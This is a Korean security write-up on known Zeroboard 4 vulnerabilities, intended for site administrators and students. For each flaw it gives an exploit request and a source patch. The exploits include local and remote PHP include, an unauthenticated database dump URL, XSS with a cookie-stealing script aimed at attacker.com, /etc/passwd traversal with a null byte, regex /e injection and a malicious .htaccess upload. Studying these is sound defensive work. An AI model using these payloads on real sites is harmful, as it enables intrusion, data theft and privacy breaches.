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1. 시작하면서

  현재 본 문서를 작성하는 시점에서 제로보드4의 차기 버전인 제로보드XE가 공개된 지 4개월여가 지

났다. 제로보드XE는 이전 버전에 비해 웹 표준성, 보안성, 모듈의 재사용성 등이 뛰어나게 향상되었지만 

아직 제로보드XE가 공개된 지 얼마 되지 않았기 때문에 관련 정보나 문서 및 서적 등이 부족한 것이 현

실이다. 또한 이전 버전인 제로보드4가 이미 수년에 걸쳐 널리 사용되어 왔기 때문에 기존 제로보드 사

용자들은 사용자들 간에 공유된 수많은 커스터마이징 팁과 공개된 스킨들을 적용한 경우가 많다. 이런 

경우 공들여 제작한 웹 사이트를 포기하고 섣불리 제로보드XE로 마이그레이션 하기에는 부담이 따르는 

것이 사실이다. 뿐만 아니라 제로보드XE를 사용하기 위해서는 높은 버전의 PHP와 MySQL, 새로운 라이

브러리 및 아파치 모듈 등을 필요로 하기 때문에 기존에 운영하던 서버를 재구축하기에도 까다로울 수 

있다.

  이러한 까닭에 여전히 대부분의 웹 사이트에서는 아직 제로보드4를 사용하고 있으며 몇몇 웹 사이트

에서는 아직도 보안 취약점이 존재하는 버전의 제로보드를 사용하고 있는 경우가 있다. 후자의 경우는 

해당 웹 사이트 관리자의 운영능력이 미숙하거나 보안의식이 부족한 데서 오는 결과일 수도 있겠지만, 

많은 경우 사용자들 간에 공유된 스킨이나 각종 커스터마이징 팁을 적용한 상태에서 보안 패치를 적용

하기가 부담이 되기 때문이다. 왜냐하면, 사용자가 제로보드의 기능을 변경하거나 추가하기 위해 소스에 

수정을 가하거나 몇몇 기능이 뛰어난 스킨을 설치하여 사용하는 경우 제로보드의 핵심 파일까지 건드리

기 때문에 보안패치를 적용하면(덮어써 버리면) 그간 수정한 것이 싹 날아가 버릴 수 있기 때문이다.

  본 문서에서는 이런 사용자들을 위해 제로보드4의 Patch Level2 버전부터 Patch Level7 버전까지 공

개된 취약점의 종류와 발생원인 및 발생 원리. 그리고 대응 방안에 대해 상세히 분석해 보았다.

  이미 대부분 알려진 취약점들이긴 하지만 이들 취약점이 발생하는 원리에 대해 알아봄으로서 제로보

드4 기반의 웹 사이트를 운영하고 계신 관리자나 보안을 공부하고 있는 학생들, 현업에 종사하는 분들

에게 본 문서가 조금이나마 도움이 될 수 있기를 바란다.
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2. login.php 파일의 PHP Injection 취약점

◎ 개요

  이 취약점은 회원 로그인 처리를 담당하는 파일인 login.php 파일에서 제로보드 스킨파일을 include하

는 부분의 허점을 이용하여 공격자가 임의의 경로의 파일을 실행시킬 수 있는 문제점이다.

◎ 발생 버전

  제로보드 4 Patch Level2 이하

◎ 발생 원인

  - 내부 로직의 결함으로 include 파일 경로를 담고 있는 $file 변수 조작가능성 존재.

◎ 분석

  login.php 파일을 열어 4 라인 부근의 소스 코드를 살펴보면 다음과 같은 부분이 있다.

[그림 1] login.php 파일의 4라인 부근의 소스 코드

  4 라인부터 5 라인까지는 HTTP GET 방식으로 넘어온 $id 변수와 $group 변수의 값을 체크하는 부분

이고, 10 라인부터 25 라인까지의 소스 코드는 HTTP GET 방식으로 넘어온 $id값에 변수가 할당되어 있

으면 스킨 include에 필요한 변수를 할당해주고, 그렇지 않으면 에러 메시지를 보여주는 부분이다.

  그렇다면 문제가 되는 70 라인 부근의 소스 코드를 보도록 하자.
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[그림 3] login.php?group_no=1의 실행 결과

[그림 2] login.php 파일의 70라인 부근

  70 라인에는 19 라인에서 스킨 파일 위치가 할당된 $file 변수의 값을 이용하여 해당 스킨 파일을 

include 하는 부분이다. 그런데 HTTP GET 방식으로 넘어온 $id 변수와 $group_no 변수가 둘 다 넘어온

다면 별 문제가 되지 않지만(일반적인 경우), $group_no 변수만 넘어온다면 문제가 된다.

  다음은 웹 브라우저의 주소창에 login.php?group_no=1 이라고 입력한 후 실행 결과를 나타낸 것이다.

  실행 결과에서 볼 수 있듯이 $file 변수에 값이 없기 때문에 include 할 파일이 없으므로 에러가 발생

한다는 것을 알 수 있다. 즉, login.php?group_no=1&file=[파일경로] 와 같이 호출한다면 공격자가 업로

드 해둔 임의의 텍스트 파일의 코드를 실행시킬 수 있다.

  테스트를 위해 다음과 같은 php 코드를 작성하여 업로드가 가능한 자료실 게시판에 텍스트 형태의 

파일로 올려놓도록 하자.

<?php

echo "당신은 해킹당했습니다. ^^";

?>

[그림 4] 공격 코드를 업로드 한 장면
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  그리고 $file 변수 값에 방금 업로드 한 파일의 상대경로를 넣어주도록 한다. 제로보드의 첨부파일이 

저장되는 폴더는 data 폴더 아래의 해당 게시판의 이름($id 변수값)으로 된 폴더 아래에 저장이 된다. 

본 문서에서는 예시로 웹 브라우저의 주소창에 login.php?group_no=1&file=data/test/injection.txt 라고 

입력하여 실행해 보았다.

[그림 5] 공격 코드가 실행된 장면

  위와 같이 임의로 업로드 한 텍스트 파일의 php 코드가 실행된 장면을 볼 수 있다. php의 include 문

은 확장자가 *.php 인 파일만 include 하는 것이 아니라 *.txt 인 파일에 작성된 php 코드도 include 할 

수 있다는 것에 유의하도록 하자.

  php.ini 파일의 allow_url_fopen 값이 On으로 설정되어 있다면 문제는 더 심각해진다. 굳이 업로드가 

가능한 게시판을 찾아 파일을 업로드 하는 수고를 하지 않고도 임의의 원격지 서버에서 파일을 그대로 

include 할 수 있기 때문이다. 만약 아직도 allow_url_fopen 값을 On으로 설정해 놓고 쓰는 사용자가 있

다면 반드시 이 값을 Off로 설정하기 바란다.

◎ 해결 방안

  이 문제를 해결하려면 login.php 파일의 70 라인의 include $file; 부분을 if ($id) inlcude $file; 로 바

꾸어 필터링해주면 된다. 좀 더 강력한 보안을 위해 login.php의 상단에 unset($file); 이라고 적어주어 

하단에서 $file 변수가 처리되기 전에 원천적으로 $file 변수의 수정을 막는 것도 좋은 방법이다.
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3. MySQL DB 덤프 취약점

◎ 개요

  제로보드 관리자 모드의 MySQL DB를 dump 할 수 있는 기능을 우회하여 관리자 권한 없이도 임의로 

웹 사이트의 DB 정보를 dump할 수 있는 취약점이다. 이 DB에는 회원들의 중요한 정보는 물론 게시물 

내용 등이 모두 포함되어 있기 때문에 노출 시 큰 문제가 될 수 있다.

◎ 발생 버전

  제로보드 4 Patch Level3 이하

◎ 발생 원인

  - 내부 로직의 결함으로 회원 권한 정보를 담고 있는 $member 변수 조작가능성 존재.

◎ 분석

  제로보드의 관리자 모드 페이지에는 관리자가 MySQL DB를 dump 받을 수 있는 기능이 있다. 하지만 

보통 사이트 관리자들은 MySQL에 내장되어 있는 mysqldump 유틸리티를 이용하여 백업/복구를 하거나 

phpmyadmin 같은 MySQL 관리 도구를 이용하여 백업/복구를 한다. 더군다나 제로보드를 이용해 dump 

받은 SQL 파일을 이용하여 제로보드에서 다시 복원할 수도 없기 때문에 그다지 쓸모가 없는 기능 중에 

하나다.

 이 기능은 제로보드의 중요 MySQL 내용을 백업하는 기능이기 때문에 관리자만 dump를 할 수 있어야 

한다. 하지만 관리자 권한이나 회원 권한 자체가 없어도 dump가 가능한 취약점이 발표되었다.

  lib.php 파일의 26 라인 부근을 살펴보면 다음과 같은 부분이 있다.

[그림 6] lib.php 파일의 26라인 부근

  lib.php 파일은 제로보드에서 공용으로 쓰이는 각종 함수나 변수 정보 등을 담고 있는 파일이다. 이 

부분은 제로보드의 다른 파일에서 lib.php 파일의 함수나 변수를 읽어오기 위해 include 할 때, lib.php 

파일이 중복해서 include 되는 것을 막기 위해 $_zb_lib_included 라는 변수를 생성하는 부분이다.

  그런데 문제는 이 값을 상수가 아닌 조작이 가능한 변수 값으로 할당하는데 있다.

  이제 DB dump를 담당하는 admin_setup.php 파일을 확인해 보도록 하자.
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[그림 7] admin_setup 파일의 20라인 부근

  admin_setup.php 파일의 상단을 보면 위와 같은 부분이 있다. 20 라인 부분을 보면 짐작할 수 있듯

이, $member[is_admin] 변수에 값이 할당되어 있어야만. 즉, 관리자만 DB를 dump 받을 수 있도록 하였

다. 이 변수는 반드시 lib.php 파일을 include 하여야만 이 변수가 생성되는데, 만약 lib.php 파일을 

include 하지 않도록 한다면 $member 변수 값을 조작할 수 있을 것이다.

  즉, 앞서 보았던 lib.php 파일에서 생성되는 $_zb_lib_included 변수를 조작하여 HTTP GET 방식으로 

넘겨준다면, admin_setup.php에서 lib.php를 include 하는 과정에서 lib.php가 include 되지 않았다고 인

식할 것이다. 따라서, 결과적으로 $member 변수 역시 생성이 되지 않는다. 이를 이용하면 누구나 

$member 변수를 조작하여 손쉽게 DB를 dump 해 갈 수 있다.

  웹 브라우저의 주소창에 admin_setup.php?_zb_lib_included=true&exec=db_dump&member=1 라고 입

력해 보도록 하자.

[그림 8] MySQL DB 파일을 덤프 한 장면

  화면에서 볼 수 있듯이 누구나 MySQL DB 파일을 손쉽게 다운로드 받아갈 수 있다.
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◎ 해결 방안

  lib.php 의 inlcude 여부를 체크하는 값을 변수가 아닌 조작이 불가능한 상수로 선언해 주면 된다. 

lib.php 파일의 26 라인 부분을 다음과 같이 수정해준다.

if ($_zb_lib_included) return;

$_zb_lib_included = true;

<변경 전>

if (defined("_zb_lib_included")) return;

define("_zb_lib_included", true);

<변경 후>
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4. include/write.php 파일의 원격 PHP Injection 취약점

◎ 개요

  php.ini 파일의 allow_url_fopen 값이 On으로 설정되어 있을 경우 발생하는 대표적인 취약점 중 하나

로, 공격자가 임의의 원격지 서버에 악의적인 php 파일을 업로드하고, 그 파일을 대상 서버에서 실행시

킬 수 있는 취약점이다.

◎ 발생 버전

  제로보드 4 Patch Level4 이하

◎ 발생 원인

  - php.ini 파일의 allow_url_fopen 값이 On으로 설정.

  - 제로보드 스킨 디렉토리 값인 $dir 변수의 조작가능성 존재.

◎ 분석

  2005년 무렵, 원격 실행 취약점이 존재하는 프로그램을 사용하는 많은 웹 사이트들이 침해사고를 당

한 사건이 있었다. 이 사건 이후로 대부분의 웹 서버 관리자들과 호스팅 업체에서는 PHP 설정파일인 

php.ini 파일의 allow_url_fopen 옵션을 Off로 변경하였다. 때문에 현재 시점에서는 큰 문제가 되는 취약

점이라 보기 어렵지만, 여전히 공격자가 서버 내 임의의 위치에 있는 write.php 파일을 include 할 수 

있기 때문에 문제가 될 소지가 남아 있다.

  include 디렉토리 밑의 write.php 파일의 166 라인에는 다음과 같이 제로보드의 스킨 디렉토리 값을 

담고 있는 $dir 변수를 불러와 해당 경로에 있는 write.php 파일을 include 하는 코드를 볼 수 있다.

[그림 9] include/write.php 파일의 166라인 부근

  문제는 여기서 $dir 변수에 대한 아무런 필터링 과정이 없다는 것이다. 때문에 공격자가 HTTP GET 방

식으로 $dir 변수를 조작하여 임의의 원격지 주소의 write.php 파일을 불러와 include 할 수 있는 문제

가 있다.
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  테스트를 위해 원격지 주소에 다음과 같은 내용의 write.php 파일을 만들어 업로드한다.

<?php

  echo "<? echo \"원격의 스크립트 실행이 가능함.\"; ?>";

?>

  그리고 주소창에 include/write.php?dir=http://[원격 스크립트 주소] 를 입력하면 다음과 같이 대상 서

버 내에서 원격의 스크립트가 실행이 되는 모습을 확인할 수 있다.

[그림 10] 원격 스크립트 파일을 실행한 장면

  물론 위 장면은 원격지 서버에서 PHP 스크립트가 실행이 가능하다는 것을 예시로 보여준 것이고, 웹 

쉘과 같은 명령어 실행이 가능한 프로그램도 얼마든지 실행시킬 수도 있다.

◎ 해결 방안

  먼저 php.ini 파일의 allow_url_fopen 값을 Off로 설정하여 원격지에 있는 스크립트를 실행하는 것을 

방지해야 한다. 그리고 include/write.php 파일의 16 라인 부근의 코드를 다음과 같이 변경한다.

// 공지기능 사용하는지 않하는지 표시;;

if(!$is_admin||$mode=="reply") { $hide_notice_start="<!--";$hide_notice_end="-->"; 

}

include $dir."/write.php";

<변경 전>

// 공지기능 사용하는지 않하는지 표시;;

if(!$is_admin||$mode=="reply") { $hide_notice_start="<!--";$hide_notice_end="-->"; 

}

if (eregi(":\/\/", $dir)) exit; //원격 스크립트 실행 방지

include $dir."/write.php";

<변경 후>
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  이와 같이 코드를 수정하면 $dir 변수에 원격 프로토콜 문자(://)가 삽입되어도 PHP 스크립트의 실행

이 종료되어 버리기 때문에 원격 스크립트 실행을 막을 수 있다.

  그리고 제로보드의 include 디렉토리 안의 파일들은 다른 파일에 include 되어 사용되는 파일임에도 

단독으로 실행이 가능하다는 문제가 있다. 그러므로 좀 더 나은 보안을 위해 제로보드의 include 디렉토

리에 다음과 같은 내용의 .htaccess 파일을 만들어 include 디렉토리의 파일을 외부에서 호출하는 것을 

막도록 한다.

deny from all

  만약 서버에서 .htaccess 파일을 사용할 수 없다면, 아파치 설정파일(httpd.conf)에 제로보드의 include 

디렉토리를 차단하도록 설정하도록 한다. 아파치 설정파일인 httpd.conf 파일에서 Directory 지시자를 이

용하여 접근을 제한하는 것도 좋은 방법이다.
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5. check_user_id.php 파일의 XSS(Cross Site Scripting) 취약점

◎ 개요

  회원가입 시 중복된 회원 ID가 존재할 때 알림 팝업창을 표시할 때 호출하는 check_user_id.php 파일

에서 클라이언트의 임의의 스크립트를 실행시킬 수 있는 XSS 취약점이 존재한다.

◎ 발생 버전

  제로보드 4 Patch Level4 이하

◎ 발생 원인

  - check_uesr_id.php 파일의 $user_id 변수가 여과 없이 html 영역으로 출력됨.

◎ 분석

  XSS(Cross Site Scripting) 취약점은 악의적인 목적을 가진 공격자가 웹 사이트 방문자가 이용 중인 웹 

브라우저의 스크립트(Javascript, VB Script 등)를 실행시켜 방문자의 회원 Session 정보를 담고 있는 

cookie 값을 가져올 수 있는 취약점이다.

  회원 ID의 중복 검사에 이용되는 파일인 check_user_id.php 파일에는 XSS 취약점이 존재한다. 이 파일

의 13 라인 부근을 보면 다음과 같은 소스코드가 있다.

[그림 11] check_user_id.php 파일의 13라인 부근

  위 부분은 HTTP GET 방식으로 넘어온 $user_id 값을 이용하여 회원 중복 검사를 하고 중복된 회원이 

존재하면 알림 메시지를 출력해주는 부분이다. 하지만 소스 코드에서 확인할 수 있듯이, $user_id 변수를 

아무런 필터링 없이 html으로 표시하고 있다는 것을 확인할 수 있다. 이를 악용하면 다른 회원이나 관

리자의 Session 값을 훔쳐올 수 있을 것이다.

  테스트를 위해 웹 브라우저의 주소창에 check_user_id.php?user_id=<script>alert(document.cookie);</script> 라

고 입력해 보도록 한다. 그러면 다음과 같이 XSS 취약점이 존재한다는 것을 확인할 수 있다.
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[그림 12] XSS 취약점을 확인한 장면

  위 화면은 단순히 XSS 취약점이 존재한다는 것을 확인한 것이고 $uesr_id 위 스크립트 대신 다음과 

같이 스크립트를 작성하면 공격자의 원격지 주소로 쿠키 값을 전송할 수 있을 것이다.

<script> window.location.href = 'http://attacker.com/write.php?val=' + document.cookie; </script>

◎ 해결 방안

  이 문제는 $user_id 변수를 html 문자(<, > 등)를 html 엔터티로 변환해 주도록 수정하는 방법으로 해

결할 수 있다. check_uesr_id.php 파일의 3 라인 부근을 다음과 같이 수정해 주도록 하자.

<?

  include "lib.php";

  $user_id = trim($user_id);

  $connect=dbconn();

<변경 전>

<?

  include "lib.php";

  $user_id = trim($user_id);

  $user_id = htmlspecialchars($user_id);  //html 태그 필터링

  $connect=dbconn();

<변경 후>

  htmlspecialchars() 함수는 html 태그 문자인 <, > 등을 html 엔터티 문자인 &lt, &gt; 으로 변환해 주

는 함수이다. 이렇게 하면 $user_id 변수의 html 문자를 웹 브라우저에서 html 태그로 인식하지 않기 때

문에 XSS 취약점을 막을 수 있다.
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6. skin/nzeo_vote/error.php 파일의 원격 PHP Injection 취약점

◎ 개요

  제로보드 기본 게시판 스킨인 skin/nzeo_vote/error.php 파일에서 발생하는 취약점으로, 공격자가 임의

의 원격지 서버에 악의적인 php 파일을 업로드하고, 그 파일을 대상 서버에서 실행시킬 수 있는 취약점

이다.

◎ 발생 버전

  제로보드 4 Patch Level5 이하

◎ 발생 원인

  - php.ini 파일의 allow_url_fopen 값이 On으로 설정.

  - 제로보드 스킨 디렉토리 값인 $dir 변수의 조작가능성 존재.

◎ 분석

  이것 역시 제로보드4 pl4 이하 버전에서 발생한 include/write.php 파일의 PHP Injection 문제와 유사

한 취약점이다.

  제로보드의 기본 투표 게시판 스킨인 nzeo_vote 스킨에는 스킨의 에러 페이지 디자인을 담고 있는 

error.php 파일이 있다. 제로보드 스킨 파일은 php 파일들로 이루어져 있기 때문에 기본적으로 php 스

크립트의 실행이 가능하다. 이는 스킨 제작 시 다양한 기능의 스킨을 만들 수 있다는 장점이 있는 반면 

보안 위험의 요소가 존재할 수 있다.

  skin/nzeo_vote/error.php 파일을 열어 보면 1 라인에서 다음과 같은 코드를 찾을 수 있다.

[그림 13] skin/nzeo_vote/error.php 파일의 1라인 부근

  여기서 디렉토리 경로 값을 담고 있는 $dir 변수가 아무런 필터링 없이 include 키워드와 함께 사용되

고 있다. 이를 이용해 공격자는 임의의 원격지 주소에 있는 value.php3 파일을 include 할 수 있다. 이에 

대한 자세한 사항은 9페이지에 기술된 <include/write.php 파일의 원격 PHP Injection 취약점> 부분을 

참고하시길 바란다.

◎ 해결 방안

  include/write.php 파일의 PHP Injection 취약점의 경우처럼 $dir 변수에 원격 프로토콜 문자(://)가 삽

입되는 것을 필터링하는 방법으로 문제를 해결할 수 있다.
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  해당 부분인 skin/nzeo_vote/error.php 파일의 첫 번째 라인을 다음과 같이 변경한다.

<? include "$dir/value.php3"; ?>

<br><br><br>

<div align=center>

<변경 전>

<?

  //스크립트 실행 방지

  if (eregi(":\/\/", $dir) || eregi("\.\.", $dir)) exit;

  include "$dir/value.php3";

?>

<br><br><br>

<div align=center>

<변경 후>

  만약 제로보드 기본 투표게시판 스킨을 사용하지 않는다면 삭제하는 것도 좋은 해결 방법이다.
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7. 웹 서버의 시스템 파일 노출 취약점

◎ 개요

  php.ini 파일의 magic_quotes_gpc 옵션이 Off로 설정되어 있는 경우 제로보드 절대경로 정보가 담겨

있는 변수를 조작하여 서버 내부의 시스템 파일을 볼 수 있는 취약점이다.

◎ 발생 버전

  제로보드 4 Patch Level5 이하

◎ 발생 원인

  - php.ini 파일의 magic_quotes_gpc 값이 Off로 설정.

  - 제로보드 절대경로 값이 저장된 $_zb_path 변수의 조작가능성 존재.

◎ 분석

  먼저 이 취약점을 살펴보기 전에 php.ini 파일의 magic_quotes_gpc 옵션에 대해 알아보고 넘어가도록 

하자.

  magic_quotes_gpc 옵션이 On으로 설정되어 있으면 HTTP GET, POST, COOKIE 방식으로 들어오는 데

이터에 addslashes() 함수를 적용한다. 즉, HTTP GET, POST, COOKIE 방식으로 들어온 데이터에 “, ‘, \, 

NUL(Null 값) 등이 있으면 해당 문자에 이스케이프 문자인 \(역슬래시)를 덧붙이는 기능을 한다. 그런데 

magic_quotes_gpc 옵션이 Off로 설정된 상태로 변수 값에 Null 값(\0)이 들어오게 되면 Null 값 이후의 

문자열은 모두 무시가 된다.

  이제 취약점이 발생한 _head.php 파일을 열어보도록 하자.

  _head.php 파일의 13 라인 부근을 보면 원격지 프로토콜 문자에 대한 필터링은 되어 있지만, 내부 경

로를 조작하거나 Null 값이 들어왔을 때에 대한 필터링은 전혀 되어 있지 않다.

[그림 14] _head.php 파일의 13라인 부근

  따라서 공격자는 다음과 같이 주소창에 _head.php?_zb_path=../../../../etc/passwd%00 와 같이 입력하여 

웹서버 내부의 시스템 파일을 열람할 수 있다. 여기서 Null 문자(\0)는 URL 인코딩을 하면 %00 이므로 

\0가 아닌 %00을 넣어주도록 한다.
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[그림 15] 웹 서버의 시스템 파일이 노출된 장면

◎ 해결 방안

  이를 방지하려면 php.ini 파일의 magic_quotes_gpc 옵션의 값을 On으로 설정하는 것이 선행되어야 

하며, 역시 내부 경로 조작을 방지하기 위해 몇몇 파일들의 수정이 필요하다. 수정이 필요한 파일은 

_head.php, write.php, outlogin.php 이며, 다음과 같이 수정하도록 한다.

_head.php 파일의 13 라인 부근 :

// 라이브러리 함수 파일 include

if(eregi(":\/\/",$_zb_path)) $_zb_path="";

include $_zb_path."lib.php";

<변경 전>

// 라이브러리 함수 파일 include

if(eregi(":\/\/", $_zb_path) || eregi("\.\.", $_zb_path)) $_zb_path ="./";

include $_zb_path."lib.php";

<변경 후>

write.php 파일의 15 라인 부근 :

 if(!eregi($HTTP_HOST,$HTTP_REFERER)) Error("정상적으로 글을 작성하여 주시기 바

랍니다.");

  if(eregi(":\/\/",$dir)) $dir=".";

<변경 전>
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 if(!eregi($HTTP_HOST,$HTTP_REFERER)) Error("정상적으로 글을 작성하여 주시기 바

랍니다.");

  if(eregi(":\/\/",$dir) || eregi("\.\.", $dir)) $dir=".";

<변경 후>

outlogin.php 파일의 50 라인 부근 :

  if(eregi(":\/\/",$_zb_path)) $_zb_path="./";

// outlogin.php 파일이 include 되었는지를 체크

if(!$_outlogin_include) {

<변경 전>

  if(eregi(":\/\/", $_zb_path) || eregi("\.\.", $_zb_path)) $_zb_path ="./";

// outlogin.php 파일이 include 되었는지를 체크

if(!$_outlogin_include) {

<변경 후>
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8. 정규 표현식을 우회한 PHP Injection 취약점

◎ 개요

  게시물 검색 결과의 키워드를 highlight 하기 위해 사용된 정규표현식의 허점을 이용하여 PHP 코드를 

삽입할 수 있는 취약점이다.

◎ 발생 버전

  제로보드 4 Patch Level5 이하

◎ 발생 원인

  - 정규표현식에 Null 문자(\0) 삽입 시 그 문자까지 만을 정규표현식으로 인식하는 PHP의 특성.

◎ 분석

  제로보드에서는 게시판에서 검색을 하면 검색된 결과에서 검색 키워드에 해당되는 문자를 정규표현식 

치환 함수인 preg_replace()를 이용하여 highlight 하여 보여준다.(<font> 태그 이용) 하지만 PHP에서 정

규표현식을 처리하는 특성을 이용한 허점을 이용하여 공격자가 임의의 PHP 코드를 삽입할 수 있는 문

제가 있다.

  include/list_check.php 파일의 110 라인 부근을 살펴보면 다음과 같은 부분을 찾을 수 있다.

[그림 16] include/list_check.php 파일의 110라인 부근

  여기서 검색어 변수인 $keyword 가 test_str/e\0 이면, preg_replace의 pattern 값인 $keyword_pattern 

의 값이 /([^<]*)test_str/e\0([^>]*)/i 가 된다. 따라서 이 정규 표현식이 처리될 때 실제로 인식되는 정

규표현식은 /([^<]*)test_str/e 가 되어 test_str 이라는 문자열이 나올 때까지의 문자열이 PHP 코드로 인

식되게 된다. 즉, 글 본문에 < 와 test_str 문자열의 사이에 공격자가 원하는 PHP 코드를 삽입하여 실행

할 수 있다는 이야기가 된다.

  PHP에서는 정규 표현식을 처리할 때 정규 표현식 사이에 Null 문자(\0)가 들어가면 Null 문자 이후의 

정규 표현식을 무시하게 된다. 일반적으로 php.ini 파일에서 magic_quotes_gpc 옵션이 On으로 설정되어 

있으면 이런 문제가 발생하지 않지만, 제로보드에서는 $keyword 변수에 역슬래시 문자를 제거하는 

stripslashes() 함수를 적용하기 때문에 magic_quotes_gpc 옵션에 의해 처리된 Null 문자가 다시 Null 문

자로 변환되기 때문이다.
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◎ 해결 방안

  이 문제는 $keyword_pattern 변수에 들어온 Null 문자에 다시 역슬래시를 붙여주는 방법으로 해결할 

수 있다.

  include/list_check.php 파일의 105 라인 부분을 다음과 같이 변경한다.

// 검색어가 있을경우 내용의 키워드를 변경

if($sc=="on" && $keyword) {

$keyword_pattern = "/([^<]*)$keyword([^>]*)/i";

$memo = preg_replace($keyword_pattern, "\\1<font color=FF001E 

style=background-color:FFF000;>$keyword</font>\\2", $memo);

<변경 전>

// 검색어가 있을경우 내용의 키워드를 변경

if($sc=="on" && $keyword) {

//Null 문자열 필터링

$keyword_pattern = "/".str_replace("\0", "\\0", preg_quote($keyword, "/"))."/i";

$memo = preg_replace($keyword_pattern, "\\1<font color=FF001E 

style=background-color:FFF000;>$keyword</font>\\2", $memo);

<변경 후>

  여기서 preg_quote() 함수는 정규 표현식 문법에 해당되는 모든 문자 앞에 역슬래시를 붙이는 역할을 

한다. Null 문자뿐만 아니라 정규 표현식에 해당되는 문자를 삽입하지 못하도록 한다면 좀 더 나은 보안

을 기대할 수 있다.
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9. 비밀 게시물을 열람할 수 있는 취약점

◎ 개요

  약간의 HTTP GET 변수 조작을 통해 임의의 비밀 게시물을 회원 권한이 없거나 비밀번호를 모르더라

도 누구나 열람이 가능한 취약점이다.

◎ 발생 버전

  제로보드 4 Patch Level6 이하

◎ 발생 원인

  - 내부 로직의 결함으로 회원 인증 여부를 체크하는 $_member_info_included 변수 조작가능성 존재.

◎ 분석

  제로보드의 비밀 게시물 기능은 특정 게시물을 작성자와 관리자 또는 비밀번호를 알고 있는 사람만이 

볼 수 있도록 하는 기능이다. 하지만 약간의 HTTP GET 변수 조작만 하면 누구나 비밀글로 설정된 게시

물을 열람할 수 있는 취약점이 발견되었다.

  lib.php 파일의 242 라인 부근을 살펴보도록 하자.

[그림 17] lib.php 파일의 242 라인 부근

  제로보드에서 로그인한 회원에 대해 정보를 호출 할 때에는 위의 member_info() 함수를 이용하여 정

보를 호출한다. 그런데 사용자 정보를 체크하는 부분을 살펴보면 $_member_info_included 라는 변수를 

통해 체크를 하고 있음을 알 수 있다.

  따라서 공격자는 다음과 같이 $_member_info_included 라는 변수에 값을 넣어주는 것만으로 비밀 게

시물을 열람할 수 있을 것이다.
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[그림 18] 공격 실행 전 모습

[그림 19] 공격 실행 후 비밀 게시물을 열람한 모습

  이 취약점은 시스템을 공격하거나 시스템 정보를 유출하는 성격의 취약점은 아니지만, 개인의 프라이

버시를 침해할 수도 있다는 점에서 큰 문제가 될 수도 있다.

◎ 해결 방안

  이 취약점 역시 제로보드4 pl3 버전에서 발생한 MySQL dump 취약점을 해결한 방법과 같은 방법으

로 해당 변수를 조작이 불가능한 상수로 선언해 주는 방법으로 문제를 해결할 수 있다.

  lib.php 파일의 242 파일 부근을 다음과 같이 수정해 주도록 한다.
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global $HTTP_SESSION_VARS, $member_table, $REMOTE_ADDR, $member, 

$connect, $_member_info_included;

if($_member_info_included) return $member;

$_member_info_included = true;

if($member[no]) return $member;

<변경 전>

global $HTTP_SESSION_VARS, $member_table, $REMOTE_ADDR, $member, 

$connect;

if (defined("_member_info_included") && $member[no]) return $member;

define("_member_info_included", true);

if($member[no]) return $member;

<변경 후>
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10. .htaccess 파일 업로드 취약점

◎ 개요

  공격자가 파일 업로드가 가능한 게시판에 임의의 아파치 설정 파일인 .htaccess 파일을 업로드 할 수 

있는 취약점이다.

◎ 발생 버전

  제로보드 4 Patch Level7 이하

◎ 발생 원인

  - 파일 업로드 기능의 확장자 필터링 미비.

◎ 분석

  제로보드의 파일 업로드 기능은 기본적으로 *.php, *.html, *.inc 과 같은 스크립트 파일은 업로드를 할 

수 없도록 필터링을 하고 있다. 하지만 .htaccess, .htpasswd 와 같은 아파치 서버 설정 파일은 업로드가 

가능하다는 문제점이 있다.

  .htaccess 파일은 아파치의 httpd.conf 파일처럼 디렉토리나 파일 별로 접근할 수 있는 권한을 설정하

거나 서버의 설정을 변경하는 등의 역할을 하는 파일이다. 만약 자신이 제로보드를 설치하여 운영하고 

있는 웹사이트가 개인 서버이고 httpd.conf 파일에서 AccessFileName 설정에서 .htaccess 파일을 사용하

지 못하도록 설정하였다면 문제가 되지 않겠지만, 보통 호스팅 업체에서는 개인 사용자별로 .htaccess 

파일을 만들어 사용할 수 있도록 허용하고 있다. 따라서, .htaccess 파일이 사용 가능한 서버라면 큰 문

제가 될 수 있다.

  예를 들어 공격자가 다음과 같은 내용의 .htaccess 파일을 만들어 자료실에 업로드 한다고 가정해 보

도록 하자.

php_flag allow_url_fopen 1

Deny from all

  이렇게 되면 php.ini 파일의 allow_url_fopen 옵션을 Off로 설정해 놓았다고 하더라도 .htaccess 파일에 

의해 .htaccess 파일이 존재하는 디렉토리와 그 하위 디렉토리에 해당하는 모든 PHP 파일의 

allow_url_fopen 옵션이 On으로 설정된다. 또한, Deny from all 옵션으로 인해 해당 디렉토리의 모든 접

근이 막혀 버리게 된다. 따라서 공격자가 마음만 먹으면 서버의 설정을 원하는 대로 변경하거나 자료실 

기능을 마비시키는 등의 행위를 할 수 있다.

  게시물 작성을 담당하는 write_ok.php 파일을 열어 219 라인 부근을 살펴보면 다음과 같은 부분을 찾

을 수 있다.
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[그림 20] write_ok.php 파일의 219 라인 부근

  이 부분은 사용자가 업로드하는 파일의 확장자를 검사하여 문제가 되는 파일은 업로드 하지 못하도록 

하는 루틴이다. 하지만 보다시피 .htaccess 파일이나 .htpasswd 와 같은 파일에 대한 필터링은 전혀 되

어 있지 않음을 알 수 있다.

  실제로 자료실에 .htaccess 파일을 업로드 해 보면 문제없이 업로드 된다는 것을 확인할 수 있다.

[그림 21] .htaccess 파일을 업로드 한 모습

◎ 해결 방안

  유닉스 시스템에서 . 문자열로 시작하는 파일은 시스템 파일에 속하므로 . 으로 시작하는 모든 파일을 

차단하도록 루틴을 수정하도록 한다.

  write_ok.php 파일의 211 라인 부분을 다음과 같이 수정하도록 하자.

if($file1_size>0) {

$s_file_name1=$file1_name;

if(eregi("\.inc",$s_file_name1)||eregi("\.phtm",$s_file_name1)||eregi("\.htm",$s_file_name1)||er

egi("\.shtm",$s_file_name1)||eregi("\.ztx",$s_file_name1)||eregi("\.php",$s_file_name1)||eregi("

\.dot",$s_file_name1)||eregi("\.asp",$s_file_name1)||eregi("\.cgi",$s_file_name1)||eregi("\.pl",

$s_file_name1)) Error("Html, PHP 관련파일은 업로드할수 없습니다");
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<변경 전>

if($file1_size>0) {

$s_file_name1=$file1_name;

if(preg_match("/^\./",$s_file_name1)||eregi("\.phtm",$s_file_name1)||eregi("\.htm",$s_file_na

me1)||eregi("\.shtm",$s_file_name1)||eregi("\.ztx",$s_file_name1)||eregi("\.php",$s_file_name1

)||eregi("\.dot",$s_file_name1)||eregi("\.asp",$s_file_name1)||eregi("\.cgi",$s_file_name1)||ereg

i("\.pl",$s_file_name1)) Error("Html, PHP 관련파일은 업로드할수 없습니다");

<변경 후>

